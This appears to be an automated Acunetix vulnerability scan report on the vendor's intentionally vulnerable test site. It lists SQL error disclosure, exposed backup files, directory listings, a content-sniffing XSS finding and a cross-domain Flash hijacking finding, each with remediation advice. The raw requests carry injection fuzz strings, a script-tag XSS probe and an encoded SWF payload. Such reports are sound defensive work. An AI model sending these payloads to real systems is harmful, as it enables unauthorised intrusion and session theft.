Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	URL encoded POST input **uphone** was set to **12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡** Pattern found: `You have an error in your SQL syntax`

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 831

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
```

/userinfo.php	
Alert group	**Application error message**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	URL encoded POST input **urname** was set to **12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'ð□□¡** Pattern found: `You have an error in your SQL syntax`

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 857

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=%2B555%20666666666&urname=12345'"\'\");|]*%00{%0d%0a<%00>
%bf%27'
```

/index.bak	
Alert group	**Backup files**
Severity	Medium
Description	A possible backup file was found on your web-server. These files are usually created by developers to backup their work.
Recommendations	Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.
Alert variants	
Details	This file was found using the pattern **${fileName}.bak**. Original filename: **index.php** Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(pars
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresiz
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_p
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vul
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categori
        </a> | <a href="disclaimer.php">disclaimer</a> | <a href="ca
        <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
        <h2 id="pageName">welcome to our page</h2>
          <div class="story">
                <h3>Test site for WASP.</h3>
          </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
          <li><a href="userinfo.php">Your profile</a></li>
          <li><a href="guestbook.php">Our guestbook</a></li>
          <?PHP if (isset($_COOKIE["login"]))echo '<li><a href="../l
    </ul>
  </div>
  <div class="relatedLinks">
    <h3>Links</h3>
    <ul>
      <li><a href="http://www.acunetix.com">Security art</a></li>
          <li><a href="http://www.eclectasy.com/Fractal-Explorer/ind
    </ul>
  </div>
  <div id="advert">
    <p><img src="images/add.jpg" alt="" width="107" height="66"></p>
  </div>
</div>

<!--end navbar -->
<div id="siteInfo">  <a href="http://www.acunetix.com">About Us</a>
  Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mail
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

```
GET /index.bak HTTP/1.1

Range: bytes=0-99999

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/index.zip	
Alert group	**Backup files**
Severity	Medium
Description	A possible backup file was found on your web-server. These files are usually created by developers to backup their work.
Recommendations	Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.
Alert variants	
Details	This file was found using the pattern **${fileName}.zip**. Original filename: **index.php**

```
GET /index.zip HTTP/1.1

Range: bytes=0-99999

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/hpp/params.php	
Alert group	**Cross domain data hijacking**
Severity	Medium
Description	This page is possibly vulnerable to Cross domain data hijacking. If an attacker can create/upload a malicious Flash (SWF) file or control the top part of any page he can perform an attack known as **Cross domain data hijacking**. The Content-Type of the response doesn't matter. If the file is embedded using an <object> tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file. Here is the attack scenario: • An attacker creates a malicious Flash (SWF) file • The attacker changes the file extension to JPG • The attacker uploads the file to victim.com • The attacker embeds the file on attacker.com using an tag with type "application/x-shockwave-flash" • The victim visits attacker.com, loads the file as embedded with the tag • The attacker can now send and receive arbitrary requests to victim.com using the victims session • The attacker sends a request to victim.com and extracts the CSRF token from the response There are many ways to perform this attack. The attacker doesn't need to upload a file. The only requirement is that an attacker can control the data on a location of the target domain. One way is to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback parameter. However, if an attacker uses an entire Flash file as callback, we can use it just like we would use an uploaded file in this attack. A payload could look like this: `<object style="height:1px;width:1px;" data="http://victim.com/user/j`

Recommendations	For file uploads: It is recommended to check the file's content to have the correct header and format. If possible, use "Content-Disposition: attachment; filename=Filename.Extension;" header for the files that do not need to be served in the web browser. Isolating the domain of the uploaded files is also a good solution as long as the crossdomain.xml file of the main website does not include the isolated domain. For other cases: For JSONP abuses or other cases when the attacker control the top part of the page, you need to perform proper input filtering to protect against this type of issues.
Alert variants	
Details	URL encoded GET input **p** was set to **CWS%07%0E000x%9C=%8D1N%C3%40%10E%DF%AE%8D%BDI%08)%D3%40%1D%A0%A2%05%09%11%89HiP"%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X;!S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2.%F8%01>%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5(%B1%EB%89T%C2Jj)%93"%DBT7%24%9C%8FH%CBD6)%A3%0Bx)%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b_%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A]s%8D%8B0Q%A8L<%9B6%D4L%BD_%A8w%7E%9D[%17%F3/[%DCm{%EF%CB%EF%E6%8D:n-%FB%B3%C3%DD.%E3d1d%EC%C7%3F6%CD0%09**. The value is reflected at the top of the page.

```
GET /hpp/params.php?
p=CWS%07%0E000x%9C=%8D1N%C3%40%10E%DF%AE%8D%BDI%08)%D3%40%1D%A0%A2%05%09%11%89HiP"%05D%8B
F%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X;!S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2
.%F8%01>%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5(%B1%EB%89T%C2Jj)%93"%DB
T7%24%9C%8FH%CBD6)%A3%0Bx)%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b_%26%1
C%9F5%20h%F1%D1g%0F%14%C1%0A]s%8D%8B0Q%A8L<%9B6%D4L%BD_%A8w%7E%9D[%17%F3/[%DCm{%EF%CB%EF%
E6%8D:n-%FB%B3%C3%DD.%E3d1d%EC%C7%3F6%CD0%09 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/showimage.php	
Alert group	**Cross site scripting (content-sniffing)**
Severity	Medium
Description	This script is possibly vulnerable to Cross Site Scripting (XSS) attacks. Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.
Recommendations	Your script should filter metacharacters from user input.
Alert variants	

Details	This type of XSS can only be triggered on (and affects) content sniffing browsers. URL encoded GET input **file** was set to **./pictures/1.jpg'"()&%<acx><ScRiPt >R56e(9502)</ScRiPt>**

```
GET /showimage.php?file=./pictures/1.jpg'"()%26%25<acx><ScRiPt%20>R56e(9502)
</ScRiPt>&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/.idea/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: <title>Index of /.idea/</title>

```
GET /.idea/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/.idea/scopes/	
Alert group	**Directory listing (verified)**

Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /.idea/scopes/</title>`

```
GET /.idea/scopes/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/_mmServerScripts/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /_mmServerScripts/</title>`

```
GET /_mmServerScripts/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/admin/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /admin/</title>`

```
GET /admin/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Connections/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

Alert variants	
Details	Pattern found: `<title>Index of /Connections/</title>`

```
GET /Connections/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/CVS/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /CVS/</title>`

```
GET /CVS/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Flash/	
Alert group	**Directory listing (verified)**
Severity	Medium

Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /Flash/</title>`

```
GET /Flash/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/images/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /images/</title>`

```
GET /images/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Mod_Rewrite_Shop/images/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /Mod_Rewrite_Shop/images/</title>`

```
GET /Mod_Rewrite_Shop/images/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/pictures/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /pictures/</title>`

```
GET /pictures/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Templates/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /Templates/</title>`

```
GET /Templates/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/wvstests/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

Alert variants	
Details	Pattern found: `<title>Index of /wvstests/</title>`

```
GET /wvstests/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/wvstests/pmwiki_2_1_19/	
Alert group	**Directory listing (verified)**
Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /wvstests/pmwiki_2_1_19/</title>`

```
GET /wvstests/pmwiki_2_1_19/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/wvstests/pmwiki_2_1_19/scripts/	
Alert group	**Directory listing (verified)**

Severity	Medium
Description	The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations	You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.
Alert variants	
Details	Pattern found: `<title>Index of /wvstests/pmwiki_2_1_19/scripts/</title>`

```
GET /wvstests/pmwiki_2_1_19/scripts/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/AJAX/infoartist.php	
Alert group	**Error message on page**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	Pattern found: `<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resour`

```
GET /AJAX/infoartist.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/AJAX/infocateg.php	
Alert group	**Error message on page**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	Pattern found: `<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resour`

```
GET /AJAX/infocateg.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/AJAX/infotitle.php	
Alert group	**Error message on page**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	Pattern found: `<b>Warning</b>: mysql_fetch_array() expects parameter 1 to be resour`

```
GET /AJAX/infotitle.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Connections/DB_Connection.php	
Alert group	**Error message on page**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	Pattern found: `Fatal error`

```
GET /Connections/DB_Connection.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/pictures/path-disclosure-unix.html	
Alert group	**Error message on page**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	Pattern found: `<b>Warning</b>:  Sablotron error on line 1: XML parser error 3: no e`

```
GET /pictures/path-disclosure-unix.html HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/database_connect.php	
Alert group	**Error message on page**
Severity	Medium
Description	This alert requires manual confirmation Application error or warning messages may expose sensitive information about an application's internal workings to an attacker. Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.
Alert variants	
Details	Pattern found: `<b>Warning</b>: mysql_connect(): Access denied for user 'wauser'@'lo`

```
GET /secured/database_connect.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**HTML form without CSRF protection**
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.

Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
